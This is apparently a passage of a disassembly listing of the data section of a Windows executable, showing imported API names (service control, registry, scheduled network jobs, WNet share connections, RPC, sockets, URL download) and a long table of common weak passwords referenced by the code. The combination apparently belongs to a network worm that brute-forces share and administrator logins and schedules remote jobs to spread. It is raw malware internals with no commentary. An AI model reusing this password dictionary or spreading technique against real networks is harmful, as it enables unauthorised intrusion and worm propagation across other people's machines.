		dd 6972506Eh, 656C6976h, 736567h, 68430000h, 65676E61h
		dd 76726553h, 43656369h, 69666E6Fh, 4167h, 65520000h, 74726576h
		dd 65536F54h, 666Ch, 65520000h,	74655367h, 756C6156h, 41784565h
		dd 0
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 10h
aRegclosekey	db 'RegCloseKey',0
		dd 72430000h, 65746165h, 76726553h, 41656369h, 0
aStartservicea	db 'StartServiceA',0
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0
		align 10h
		dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
		dd 69767265h, 61486563h, 656C646Eh, 0
aControlservice	db 'ControlService',0
		align 4
		dd 65440000h, 6574656Ch, 76726553h, 656369h, 704F0000h
		dd 72506E65h, 7365636Fh, 6B6F5473h, 6E65h, 65470000h, 6B6F5474h
		dd 6E496E65h, 6D726F66h, 6F697461h, 6Eh, 6F6C6C41h, 65746163h
		dd 49646E41h, 6974696Eh, 7A696C61h, 64695365h, 0
aEqualsid	db 'EqualSid',0
aN		db 'N',0
		align 4
aFreesid	db 'FreeSid',0
		dd 65520000h, 756E4567h, 79654B6Dh, 577845h, 65520000h
		dd 74655367h, 756C6156h, 57784565h, 6300h, 51676552h, 79726575h
		dd 756C6156h, 57784565h, 0
aRegflushkey	db 'RegFlushKey',0
		dd 65520000h, 65724367h, 4B657461h, 78457965h, 57h, 43676552h
		dd 74616572h, 79654B65h, 417845h, 6E72656Bh, 32336C65h
		dd 6C6C642Eh, 2C50000h,	556C7452h, 6E69776Eh, 3790064h
		dd 74696157h, 4D726F46h, 69746C75h, 4F656C70h, 63656A62h
		dd 7374h, 724600F1h, 694C6565h,	72617262h, 26C0079h, 6E65704Fh
		dd 6E657645h, 4174h, 654701DCh,	72655674h, 6E6F6973h, 417845h
		dd 654701B7h, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 320041h, 736F6C43h, 6E614865h, 656C64h, 6C4701F2h, 6C61626Fh
		dd 65657246h, 1EB0000h,	626F6C47h, 6C416C61h, 636F6Ch
		dd 65470169h, 73614C74h, 72724574h, 726Fh, 6547013Ch, 72754374h
		dd 746E6572h, 636F7250h, 737365h, 6957037Fh, 68436564h
		dd 6F547261h, 746C754Dh, 74794269h, 1DB0065h, 56746547h
		dd 69737265h, 6E6Fh, 6F4D025Fh,	69466576h, 7845656Ch, 25E0041h
		dd 65766F4Dh, 656C6946h, 1C90041h, 54746547h, 50706D65h
		dd 41687461h, 33F0000h,	65656C53h, 820070h, 656C6544h
		dd 69466574h, 41656Ch, 6F4C0253h, 69466B63h, 656Ch, 6547015Ch
		dd 6C694674h, 7A695365h, 500065h, 61657243h, 69466574h
		dd 41656Ch, 7243006Dh, 65746165h, 65726854h, 8006461h
		dd 65530301h, 72724574h, 6F4D726Fh, 20006564h, 784500B7h
		dd 72507469h, 7365636Fh, 2730073h, 6E65704Fh, 6574754Dh
		dd 0CC004178h, 6547010Ah, 6D6F4374h, 646E616Dh,	656E694Ch
		dd 5D0041h, 61657243h, 754D6574h, 41786574h, 10E8B00h
		dd 43746547h, 75706D6Fh, 4E726574h, 41656D61h, 1747500h
		dd 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h, 0C0004165h
		dd 6547013Dh, 72754374h, 746E6572h, 636F7250h, 49737365h
		dd 8A0064h, 61736944h, 54656C62h, 61657268h, 62694C64h
		dd 79726172h, 6C6C6143h, 890073h, 69766544h, 6F496563h
		dd 746E6F43h, 6C6F72h, 7257038Ch, 46657469h, 656C69h, 654701C7h
		dd 6D655474h, 6C694670h, 6D614E65h, 85004165h, 6956036Eh
		dd 61757472h, 6572466Ch, 1980065h, 50746547h, 41636F72h
		dd 65726464h, 0C7007373h, 6F4C0242h, 694C6461h,	72617262h
		dd 24004179h, 6956036Bh, 61757472h, 6C6C416Ch, 4400636Fh
		dd 79530344h, 6D657473h, 656D6954h, 69466F54h, 6954656Ch
		dd 0CC00656Dh, 654701BCh, 73795374h, 546D6574h,	656D69h
		dd 654C0241h, 43657661h, 69746972h, 536C6163h, 69746365h
		dd 0D9006E6Fh, 6E450097h, 43726574h, 69746972h,	536C6163h
		dd 69746365h, 1006E6Fh,	6E490216h, 61697469h, 657A696Ch
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 655202A4h
		dd 69466461h, 0C200656Ch, 6F43003Ah, 63656E6Eh,	6D614E74h
		dd 69506465h, 4006570h,	7243005Fh, 65746165h, 656D614Eh
		dd 70695064h, 6E004165h, 65440083h, 6574656Ch, 656C6946h
		dd 16B0057h, 4C746547h,	6C61636Fh, 656D6954h, 536600h
		dd 61657243h, 69466574h, 57656Ch, 694600CDh, 6C43646Eh
		dd 65736Fh, 694600D4h, 6946646Eh, 46747372h, 57656C69h
		dd 2652400h, 746C754Dh,	74794269h, 576F5465h, 43656469h
		dd 726168h, 65470111h, 6D6F4374h, 65747570h, 6D614E72h
		dd 5765h, 65540348h, 6E696D72h,	54657461h, 61657268h, 13F0064h
		dd 43746547h, 65727275h, 6854746Eh, 64616572h, 0FF006449h
		dd 6157037Bh, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		dd 2BF0074h, 4C746553h,	45747361h, 726F7272h, 25CF600h
		dd 75646F4Dh, 3233656Ch, 7478654Eh, 25AC200h, 75646F4Dh
		dd 3233656Ch, 73726946h, 700074h, 61657243h, 6F546574h
		dd 65686C6Fh, 3233706Ch, 70616E53h, 746F6873h, 32E6800h
		dd 54746553h, 61657268h, 69725064h, 7469726Fh, 3710079h
		dd 74726956h, 506C6175h, 65746F72h, 0FF007463h,	654701CEh
		dd 72685474h, 50646165h, 726F6972h, 797469h, 6547013Eh
		dd 72754374h, 746E6572h, 65726854h, 89006461h, 65470176h
		dd 646F4D74h, 48656C75h, 6C646E61h, 0FF004165h,	72430048h
		dd 65746165h, 65726944h, 726F7463h, 4004179h, 694600D1h
		dd 6946646Eh, 46747372h, 41656C69h, 1DE8900h, 56746547h
		dd 6D756C6Fh, 666E4965h, 616D726Fh, 6E6F6974h, 14C0041h
		dd 44746547h, 65766972h, 65707954h, 1700041h, 4C746547h
		dd 6369676Fh, 72446C61h, 73657669h, 1D28B00h, 54746547h
		dd 436B6369h, 746E756Fh, 2928B00h, 72657551h, 72655079h
		dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 6553030Bh
		dd 6C694674h, 6D695465h, 15E0065h, 46746547h, 54656C69h
		dd 656D69h, 65480203h, 6C417061h, 636F6Ch, 6547019Bh, 6F725074h
		dd 73736563h, 70616548h, 2090000h, 70616548h, 65657246h
		dd 2874000h, 636F7250h,	33737365h, 78654E32h, 2850074h
		dd 636F7250h, 33737365h, 72694632h, 7473h, 6854034Bh, 64616572h
		dd 654E3233h, 7478h, 704F0279h,	68546E65h, 64616572h, 34A2E00h
		dd 65726854h, 32336461h, 73726946h, 680074h, 61657243h
		dd 65526574h, 65746F6Dh, 65726854h, 6461h, 72570395h, 50657469h
		dd 65636F72h, 654D7373h, 79726F6Dh, 36C0000h, 74726956h
		dd 416C6175h, 636F6C6Ch, 7845h,	704F0275h, 72506E65h, 7365636Fh
		dd 2A70073h, 64616552h,	636F7250h, 4D737365h, 726F6D65h
		dd 3050079h, 46746553h,	41656C69h, 69727474h, 65747562h
		dd 4173h, 65470157h, 6C694674h,	74744165h, 75626972h, 41736574h
		dd 13A0000h, 43746547h,	65727275h, 6944746Eh, 74636572h
		dd 4179726Fh, 630000h, 61657243h, 72506574h, 7365636Fh
		dd 4173h, 6E490219h, 6C726574h,	656B636Fh, 6D6F4364h, 65726170h
		dd 68637845h, 65676E61h, 21A0000h, 65746E49h, 636F6C72h
		dd 4464656Bh, 65726365h, 746E656Dh, 21E0000h, 65746E49h
		dd 636F6C72h, 4964656Bh, 6572636Eh, 746E656Dh, 3020000h
		dd 45746553h, 746E6576h, 4C0000h, 61657243h, 76456574h
		dd 41746E65h, 21B0000h,	65746E49h, 636F6C72h, 4564656Bh
		dd 61686378h, 65676Eh, 2E72706Dh, 6C6C64h, 4E570000h, 64417465h
		dd 6E6F4364h, 7463656Eh, 326E6F69h, 57h, 74654E57h, 43646441h
		dd 656E6E6Fh, 6F697463h, 41326Eh, 4E570000h, 61437465h
		dd 6C65636Eh, 6E6E6F43h, 69746365h, 41326E6Fh, 0
aWnetcancelconn	db 'WNetCancelConnection2W',0
		align 10h
aMsvcrt_dll	db 'msvcrt.dll',0
		align 4
		dd 695F0000h, 7474696Eh, 6D7265h, 615F0000h, 73756A64h
		dd 64665F74h, 7669h, 61630000h,	636F6C6Ch, 0
aSscanf		db 'sscanf',0
		align 4
		dd 656D0000h, 766F6D6Dh, 65h, 61657362h, 686372h, 616C0000h
		dd 7362h, 69730000h, 6Eh, 676F6Ch, 74730000h, 6B6F7472h
		dd 0
aAtoi		db 'atoi',0
		align 4
a_wcsdup	db '_wcsdup',0
		dd 72700000h, 66746E69h, 0
aStrcpy		db 'strcpy',0
		align 4
		dd 74730000h, 706D6372h, 0
aStrcat		db 'strcat',0
		align 4
		dd 63770000h, 72747373h, 0
a_strlwr	db '_strlwr',0
		dd 74730000h, 72747372h, 0
a_strdup	db '_strdup',0
		dd 63770000h, 70636E73h, 79h, 6C6C616Dh, 636Fh,	72660000h
		dd 6565h, 65720000h, 6F6C6C61h,	63h, 63736377h,	7461h
		dd 63770000h, 79706373h, 0
aWcscmp		db 'wcscmp',0
		align 4
		dd 735F0000h, 7270776Eh, 66746E69h, 0
aWcslen		db 'wcslen',0
		align 4
		dd 74730000h, 72686372h, 0
aMemset		db 'memset',0
		align 10h
		dd 656D0000h, 7970636Dh, 0
aMemcmp		db 'memcmp',0
		align 4
		dd 74730000h, 61636E72h, 74h, 6E617273h, 64h, 646E6172h
		dd 0
a_snprintf	db '_snprintf',0
		align 4
aStrncpy	db 'strncpy',0
		dd 74730000h, 68637272h, 72h, 7274735Fh, 6D63696Eh, 70h
		dd 6C727473h, 6E65h, 735F0000h,	63697274h, 706Dh, 6D5F0000h
		dd 63696D65h, 706Dh, 6174656Eh,	32336970h, 6C6C642Eh, 0
aNetapibufferfr	db 'NetApiBufferFree',0
		align 10h
aNetschedulejob	db 'NetScheduleJobDel',0
		align 4
aNetschedulej_0	db 'NetScheduleJobEnum',0
		align 4
		dd 654E0000h, 68635374h, 6C756465h, 626F4A65h, 646441h
		dd 654E0000h, 65735574h, 756E4572h, 6Dh, 5374654Eh, 65767265h
		dd 756E4572h, 6Dh, 5774654Eh, 6174736Bh, 49746547h, 6F666Eh
		dd 61656C6Fh, 32337475h, 6C6C642Eh, 4100h, 53737953h, 6E697274h
		dd 6E654C67h, 4100h, 69726156h,	49746E61h, 74696Eh, 79530000h
		dd 65724673h, 72745365h, 676E69h, 79530000h, 6C6C4173h
		dd 7453636Fh, 676E6972h, 6900h,	69726156h, 43746E61h, 7261656Ch
		dd 70726900h, 34747263h, 6C6C642Eh, 0
aRpcbindingfrom	db 'RpcBindingFromStringBindingA',0
aE		db 'e',0
		align 4
aRpcstringbindi	db 'RpcStringBindingComposeA',0
aI		db 'i',0
		align 4
aNdrclientcall2	db 'NdrClientCall2',0
aN_0		db 'n',0
		align 2
aRpcbindingfree	db 'RpcBindingFree',0
aOshell32_dll	db 'oshell32.dll',0
		align 4
aShgetsetsettin	db 'SHGetSetSettings',0
aI_0		db 'I',0
		align 4
aShgetspecialfo	db 'SHGetSpecialFolderPathA',0
aShlwapi_dll	db 'shlwapi.dll',0
		dd 74530000h, 72745372h, 4C004149h, 74530000h, 72745372h
		dd 5749h, 72657375h, 642E3233h,	65006C6Ch, 65470000h, 73614C74h
		dd 706E4974h, 6E497475h, 6F66h,	6F500000h, 654D7473h, 67617373h
		dd 6B004165h, 65470000h, 676C4474h, 6D657449h, 6F00h, 64616F4Ch
		dd 69727453h, 41676Eh, 65440000h, 6E695766h, 50776F64h
		dd 41636F72h, 7300h, 70736944h,	68637461h, 7373654Dh, 41656761h
		dd 0
aTranslatemessa	db 'TranslateMessage',0
		align 4
aRegisterclassa	db 'RegisterClassA',0
		align 4
		dd 6E450000h, 68546D75h, 64616572h, 646E6957h, 73776Fh
		dd 65470000h, 73654D74h, 65676173h, 41h, 61657243h, 69576574h
		dd 776F646Eh, 417845h, 73726576h, 2E6E6F69h, 6C6C64h, 65470000h
		dd 6C694674h, 72655665h, 6E6F6973h, 6F666E49h, 41h, 51726556h
		dd 79726575h, 756C6156h, 4165h,	65470000h, 6C694674h, 72655665h
		dd 6E6F6973h, 6F666E49h, 657A6953h, 69770041h, 656E696Eh
		dd 6C642E74h, 6Ch, 65746E49h, 74656E72h, 736F6C43h, 6E614865h
		dd 656C64h, 6E490000h, 6E726574h, 704F7465h, 416E65h, 6E490000h
		dd 6E726574h, 65477465h, 6E6F4374h, 7463656Eh, 74536465h
		dd 657461h, 6E490000h, 6E726574h, 65527465h, 69466461h
		dd 656Ch, 6E490000h, 6E726574h,	704F7465h, 72556E65h, 416Ch
		dd 74480000h, 75517074h, 49797265h, 416F666Eh, 73770000h
		dd 32335F32h, 6C6C642Eh, 0
aAccept		db 'accept',0
		align 4
		dd 69620000h, 646Eh, 65670000h,	636F7374h, 6D616E6Bh, 65h
		dd 646E6573h, 6F74h, 53570000h,	61745341h, 70757472h, 0
aSetsockopt	db 'setsockopt',0
		align 4
		dd 746E0000h, 6C686Fh, 696C0000h, 6E657473h, 0
aShutdown	db 'shutdown',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aNtohl		db 'ntohl',0
		align 10h
aNtohs		db 'ntohs',0
		align 4
aConnect	db 'connect',0
		dd 53570000h, 74654741h, 7473614Ch, 6F727245h, 72h, 646E6573h
		dd 0
aSelect		db 'select',0
		align 4
		dd 65670000h, 736F6874h, 6D616E74h, 65h, 74656E69h, 6F746E5Fh
		dd 61h,	74656E69h, 6464615Fh, 72h, 736F6C63h, 636F7365h
		dd 74656Bh
dword_9A25D8	dd 53570000h, 636F4941h, 6C74h ; DATA XREF: sub_9A7C5E+2o
; char byte_9A25E4[]
byte_9A25E4	db 2 dup(0)		; DATA XREF: sub_9A7E49+27o
a__wsafdisset	db '__WSAFDIsSet',0
aS_1		db 's',0
		align 2
		dw 6F69h
aCtlsocket	db 'ctlsocket',0        ; DATA XREF: sub_9A7E49+5o
		align 4
; char WindowName[]
WindowName	db 'recv',0             ; DATA XREF: sub_9A7F37+1Do
					; sub_9A9318+9r ...
		db '\',0
		align 4
		dd 53415357h, 614C7465h, 72457473h
; char PrefixString[]
PrefixString	db 'ror',0              ; DATA XREF: sub_9A7F9D+4Bo
					; sub_9AD473+32o ...
; const	CHAR byte_9A261C
byte_9A261C	db 0			; DATA XREF: sub_9A878B+Do
					; sub_9A8B47+33o
		align 2
aSocket		db 'socket',0
aMole32_dll	db 'Mole32.dll',0
		db    0
		align 2
aCoinitializese	db 'CoInitializeSecurity',0
aP		db 'p',0
		align 2
		dw 6F43h
		dd 61657243h
; char dword_9A2650[]
dword_9A2650	dd 6E496574h		; DATA XREF: sub_9A878B+8o
					; sub_9A8B47+2Eo
; char aStance[]
aStance		db 'stance',0           ; DATA XREF: sub_9A84E1+Fo
					; sub_9A8579+70o
aE_0		db 'E',0
		align 2
aCouninitialize	db 'CoUninitialize',0
aS_2		db 's',0
		align 10h
aCoinitializeex	db 'CoInitializeEx',0
aPurlmon_dll	db 'purlmon.dll',0      ; DATA XREF: sub_9A84E1+Ao
					; sub_9A8579+6Bo
		align 4
; char byte_9A268C[]
byte_9A268C	db 2 dup(0)		; DATA XREF: sub_9A8D3E+2Ao
aObtainuseragen	db 'ObtainUserAgentString',0
dword_9A26A4	dd 70747468h		; DATA XREF: sub_9A8E01+72r
					; sub_9AD312+5r
dword_9A26A8	dd 2F2F3Ah		; DATA XREF: sub_9A8E01+7Ar
					; sub_9AD312+Dr
		align 10h
stru_9A26B0	_msEH <0FFFFFFFFh, offset loc_9A90DE, offset loc_9A90E2>
					; DATA XREF: sub_9A9067+5o
; char aSoftwareMicros[]
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Applets',0
					; DATA XREF: sub_9A91B5+Co
					; sub_9A91E7+19o
; char word_9A26EE[]
word_9A26EE	dw 0			; DATA XREF: sub_9A91B5+6o
					; sub_9A91E7+13o
dword_9A26F0	dd 706967h, 2 dup(39393939h), 0	; DATA XREF: .text:009BA3F0o
a9999999	db '9999999',0          ; DATA XREF: .text:009BA3ECo
a999999		db '999999',0           ; DATA XREF: .text:009BA3E8o
		align 10h
a99999		db '99999',0            ; DATA XREF: .text:009BA3E4o
		align 4
a9999		db '9999',0             ; DATA XREF: .text:009BA3E0o
		align 10h
a999		db '999',0              ; DATA XREF: .text:009BA3DCo
a99		db '99',0               ; DATA XREF: .text:009BA3D8o
		align 4
a9:					; DATA XREF: .text:009BA3D4o
		unicode	0, <9>,0
a88888888	db '88888888',0         ; DATA XREF: .text:009BA3D0o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .text:009BA3CCo
a888888		db '888888',0           ; DATA XREF: .text:009BA3C8o
		align 4
a88888		db '88888',0            ; DATA XREF: .text:009BA3C4o
		align 10h
a8888		db '8888',0             ; DATA XREF: .text:009BA3C0o
		align 4
a888		db '888',0              ; DATA XREF: .text:009BA3BCo
a88		db '88',0               ; DATA XREF: .text:009BA3B8o
		align 10h
a8:					; DATA XREF: .text:009BA3B4o
		unicode	0, <8>,0
a77777777	db '77777777',0         ; DATA XREF: .text:009BA3B0o
		align 10h
a7777777	db '7777777',0          ; DATA XREF: .text:009BA3ACo
a777777		db '777777',0           ; DATA XREF: .text:009BA3A8o
		align 10h
a77777		db '77777',0            ; DATA XREF: .text:009BA3A4o
		align 4
a7777		db '7777',0             ; DATA XREF: .text:009BA3A0o
		align 10h
a777		db '777',0              ; DATA XREF: .text:009BA39Co
a77		db '77',0               ; DATA XREF: .text:009BA398o
		align 4
a7:					; DATA XREF: .text:009BA394o
		unicode	0, <7>,0
a66666666	db '66666666',0         ; DATA XREF: .text:009BA390o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .text:009BA38Co
a666666		db '666666',0           ; DATA XREF: .text:009BA388o
		align 4
a66666		db '66666',0            ; DATA XREF: .text:009BA384o
		align 10h
a6666		db '6666',0             ; DATA XREF: .text:009BA380o
		align 4
a666		db '666',0              ; DATA XREF: .text:009BA37Co
a66		db '66',0               ; DATA XREF: .text:009BA378o
		align 10h
a6:					; DATA XREF: .text:009BA374o
		unicode	0, <6>,0
a55555555	db '55555555',0         ; DATA XREF: .text:009BA370o
		align 10h
a5555555	db '5555555',0          ; DATA XREF: .text:009BA36Co
a555555		db '555555',0           ; DATA XREF: .text:009BA368o
		align 10h
a55555		db '55555',0            ; DATA XREF: .text:009BA364o
		align 4
a5555		db '5555',0             ; DATA XREF: .text:009BA360o
		align 10h
a555		db '555',0              ; DATA XREF: .text:009BA35Co
a55		db '55',0               ; DATA XREF: .text:009BA358o
		align 4
a5:					; DATA XREF: .text:009BA354o
		unicode	0, <5>,0
a44444444	db '44444444',0         ; DATA XREF: .text:009BA350o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .text:009BA34Co
a444444		db '444444',0           ; DATA XREF: .text:009BA348o
		align 4
a44444		db '44444',0            ; DATA XREF: .text:009BA344o
		align 10h
a4444		db '4444',0             ; DATA XREF: .text:009BA340o
		align 4
a444		db '444',0              ; DATA XREF: .text:009BA33Co
a44		db '44',0               ; DATA XREF: .text:009BA338o
		align 10h
a4:					; DATA XREF: .text:009BA334o
		unicode	0, <4>,0
a33333333	db '33333333',0         ; DATA XREF: .text:009BA330o
		align 10h
a3333333	db '3333333',0          ; DATA XREF: .text:009BA32Co
a333333		db '333333',0           ; DATA XREF: .text:009BA328o
		align 10h
a33333		db '33333',0            ; DATA XREF: .text:009BA324o
		align 4
a3333		db '3333',0             ; DATA XREF: .text:009BA320o
		align 10h
a333		db '333',0              ; DATA XREF: .text:009BA31Co
a33		db '33',0               ; DATA XREF: .text:009BA318o
		align 4
a3:					; DATA XREF: .text:009BA314o
		unicode	0, <3>,0
a22222222	db '22222222',0         ; DATA XREF: .text:009BA310o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .text:009BA30Co
a222222		db '222222',0           ; DATA XREF: .text:009BA308o
		align 4
a22222		db '22222',0            ; DATA XREF: .text:009BA304o
		align 10h
a2222		db '2222',0             ; DATA XREF: .text:009BA300o
		align 4
a222		db '222',0              ; DATA XREF: .text:009BA2FCo
a22		db '22',0               ; DATA XREF: .text:009BA2F8o
		align 10h
a2:					; DATA XREF: .text:009BA2F4o
		unicode	0, <2>,0
a11111111	db '11111111',0         ; DATA XREF: .text:009BA2F0o
		align 10h
a1111111	db '1111111',0          ; DATA XREF: .text:009BA2ECo
a111111		db '111111',0           ; DATA XREF: .text:009BA2E8o
		align 10h
a11111		db '11111',0            ; DATA XREF: .text:009BA2E4o
		align 4
a1111		db '1111',0             ; DATA XREF: .text:009BA2E0o
		align 10h
a111		db '111',0              ; DATA XREF: .text:009BA2DCo
a11		db '11',0               ; DATA XREF: .text:009BA2D8o
		align 4
a1:					; DATA XREF: sub_9B6663+8Fo
					; .text:009BA2D4o
		unicode	0, <1>,0
a00000000	db '00000000',0         ; DATA XREF: .text:009BA2D0o
		align 4
a0000000	db '0000000',0          ; DATA XREF: .text:009BA2CCo
a00000		db '00000',0            ; DATA XREF: .text:009BA2C4o
					; .text:009BA2C8o
		align 4
a0000		db '0000',0             ; DATA XREF: .text:009BA2C0o
		align 10h
a000		db '000',0              ; DATA XREF: .text:009BA2BCo
a00		db '00',0               ; DATA XREF: .text:009BA2B8o
		align 4
a0987654321	db '0987654321',0       ; DATA XREF: .text:009BA2B0o
		align 4
a987654321	db '987654321',0        ; DATA XREF: .text:009BA2ACo
		align 10h
a87654321	db '87654321',0         ; DATA XREF: .text:009BA2A8o
		align 4
a7654321	db '7654321',0          ; DATA XREF: .text:009BA2A4o
a654321		db '654321',0           ; DATA XREF: .text:009BA2A0o
		align 4
a54321		db '54321',0            ; DATA XREF: .text:009BA29Co
		align 4
a4321		db '4321',0             ; DATA XREF: .text:009BA298o
		align 4
a321		db '321',0              ; DATA XREF: .text:009BA294o
a21		db '21',0               ; DATA XREF: .text:009BA290o
		align 4
a12		db '12',0               ; DATA XREF: .text:009BA28Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .text:009BA288o
		align 10h
aZzzzz		db 'zzzzz',0            ; DATA XREF: .text:009BA284o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .text:009BA280o
		align 10h
aZzz		db 'zzz',0              ; DATA XREF: .text:009BA27Co
aXxxxx		db 'xxxxx',0            ; DATA XREF: .text:009BA278o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .text:009BA274o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .text:009BA270o
aQqqqq		db 'qqqqq',0            ; DATA XREF: .text:009BA26Co
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: .text:009BA268o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .text:009BA264o
aAaaaa		db 'aaaaa',0            ; DATA XREF: .text:009BA260o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .text:009BA25Co
		align 4
aAaa_0		db 'aaa',0              ; DATA XREF: .text:009BA258o
aSql		db 'sql',0              ; DATA XREF: .text:009BA254o
aFile		db 'file',0             ; DATA XREF: .text:009BA250o
		align 4
aWeb		db 'web',0              ; DATA XREF: .text:009BA24Co
aFoo		db 'foo',0              ; DATA XREF: .text:009BA248o
aJob		db 'job',0              ; DATA XREF: .text:009BA244o
aHome		db 'home',0             ; DATA XREF: .text:009BA240o
		align 10h
aWork		db 'work',0             ; DATA XREF: .text:009BA23Co
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: .text:009BA238o
		align 4
aController	db 'controller',0       ; DATA XREF: .text:009BA234o
		align 10h
aKiller		db 'killer',0           ; DATA XREF: .text:009BA230o
		align 4
aGames		db 'games',0            ; DATA XREF: .text:009BA22Co
		align 10h
aPrivate	db 'private',0          ; DATA XREF: .text:009BA228o
aMarket		db 'market',0           ; DATA XREF: .text:009BA224o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: .text:009BA220o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: .text:009BA21Co
		align 10h
aForever	db 'forever',0          ; DATA XREF: .text:009BA218o
aFreedom	db 'freedom',0          ; DATA XREF: .text:009BA214o
aStudent	db 'student',0          ; DATA XREF: .text:009BA210o
aAccount	db 'account',0          ; DATA XREF: .text:009BA20Co
aAcademia	db 'academia',0         ; DATA XREF: .text:009BA208o
		align 4
aFiles		db 'files',0            ; DATA XREF: .text:009BA204o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .text:009BA200o
aMonitor	db 'monitor',0          ; DATA XREF: .text:009BA1FCo
aUnknown	db 'unknown',0          ; DATA XREF: .text:009BA1F8o
aAnything	db 'anything',0         ; DATA XREF: .text:009BA1F4o
		align 4
aLetitbe	db 'letitbe',0          ; DATA XREF: .text:009BA1F0o
aLetmein	db 'letmein',0          ; DATA XREF: .text:009BA1ECo
aDomain		db 'domain',0           ; DATA XREF: .text:009BA1E8o
		align 10h
aAccess		db 'access',0           ; DATA XREF: .text:009BA1E4o
		align 4
aMoney		db 'money',0            ; DATA XREF: .text:009BA1E0o
		align 10h
aCampus		db 'campus',0           ; DATA XREF: .text:009BA1DCo
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .text:009BA1D8o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .text:009BA1D4o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: .text:009BA1D0o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: .text:009BA1CCo
aNobody		db 'nobody',0           ; DATA XREF: .text:009BA1C8o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: .text:009BA1C4o
		align 4
aCodename	db 'codename',0         ; DATA XREF: .text:009BA1C0o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .text:009BA1BCo
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: .text:009BA1B8o
aSecurity	db 'security',0         ; DATA XREF: .text:009BA1B4o
		align 4
aSecure		db 'secure',0           ; DATA XREF: .text:009BA1B0o
		align 4
aPublic		db 'public',0           ; DATA XREF: .text:009BA1ACo
		align 4
aSystem		db 'system',0           ; DATA XREF: .text:009BA1A8o
		align 4
aShadow		db 'shadow',0           ; DATA XREF: .text:009BA1A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: .text:009BA1A0o
		align 4
aSupervisor	db 'supervisor',0       ; DATA XREF: .text:009BA19Co
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .text:009BA198o
		align 4
aShare		db 'share',0            ; DATA XREF: .text:009BA194o
		align 4
aSuper		db 'super',0            ; DATA XREF: .text:009BA190o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .text:009BA18Co
		align 4
aServer		db 'server',0           ; DATA XREF: .text:009BA188o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .text:009BA184o
		align 10h
aOwner		db 'owner',0            ; DATA XREF: .text:009BA180o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .text:009BA17Co
		align 10h
aDatabase	db 'database',0         ; DATA XREF: .text:009BA178o
		align 4
aLotus		db 'lotus',0            ; DATA XREF: .text:009BA174o
		align 4
aOracle		db 'oracle',0           ; DATA XREF: .text:009BA170o
		align 4
aBusiness	db 'business',0         ; DATA XREF: .text:009BA16Co
		align 4
aManager	db 'manager',0          ; DATA XREF: .text:009BA168o
aTemporary	db 'temporary',0        ; DATA XREF: .text:009BA164o
		align 4
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .text:009BA160o
aNothing	db 'nothing',0          ; DATA XREF: .text:009BA15Co
aNopassword	db 'nopassword',0       ; DATA XREF: .text:009BA158o
		align 4
aNopass		db 'nopass',0           ; DATA XREF: .text:009BA154o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .text:009BA150o
		align 10h
aInternet_0	db 'internet',0         ; DATA XREF: .text:009BA14Co
		align 4
aExample	db 'example',0          ; DATA XREF: .text:009BA148o
aSample		db 'sample',0           ; DATA XREF: .text:009BA144o
		align 4
aLove123	db 'love123',0          ; DATA XREF: .text:009BA140o
aBoss123	db 'boss123',0          ; DATA XREF: .text:009BA13Co
aWork123	db 'work123',0          ; DATA XREF: .text:009BA138o
aHome123	db 'home123',0          ; DATA XREF: .text:009BA134o
aMypc123	db 'mypc123',0          ; DATA XREF: .text:009BA130o
aTemp123	db 'temp123',0          ; DATA XREF: .text:009BA12Co
aTest123	db 'test123',0          ; DATA XREF: .text:009BA128o
aQwe123		db 'qwe123',0           ; DATA XREF: .text:009BA124o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .text:009BA120o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: .text:009BA11Co
		align 4
aRoot123	db 'root123',0          ; DATA XREF: .text:009BA118o
aPass123	db 'pass123',0          ; DATA XREF: .text:009BA114o
aPass12		db 'pass12',0           ; DATA XREF: .text:009BA110o
		align 4
aPass1		db 'pass1',0            ; DATA XREF: .text:009BA10Co
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .text:009BA108o
		align 4
aAdmin12	db 'admin12',0          ; DATA XREF: .text:009BA104o
aAdmin1		db 'admin1',0           ; DATA XREF: .text:009BA100o
		align 4
aPassword123	db 'password123',0      ; DATA XREF: .text:009BA0FCo
aPassword12	db 'password12',0       ; DATA XREF: .text:009BA0F8o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: .text:009BA0F4o
		align 4
aDefault	db 'default',0          ; DATA XREF: .text:009BA0F0o
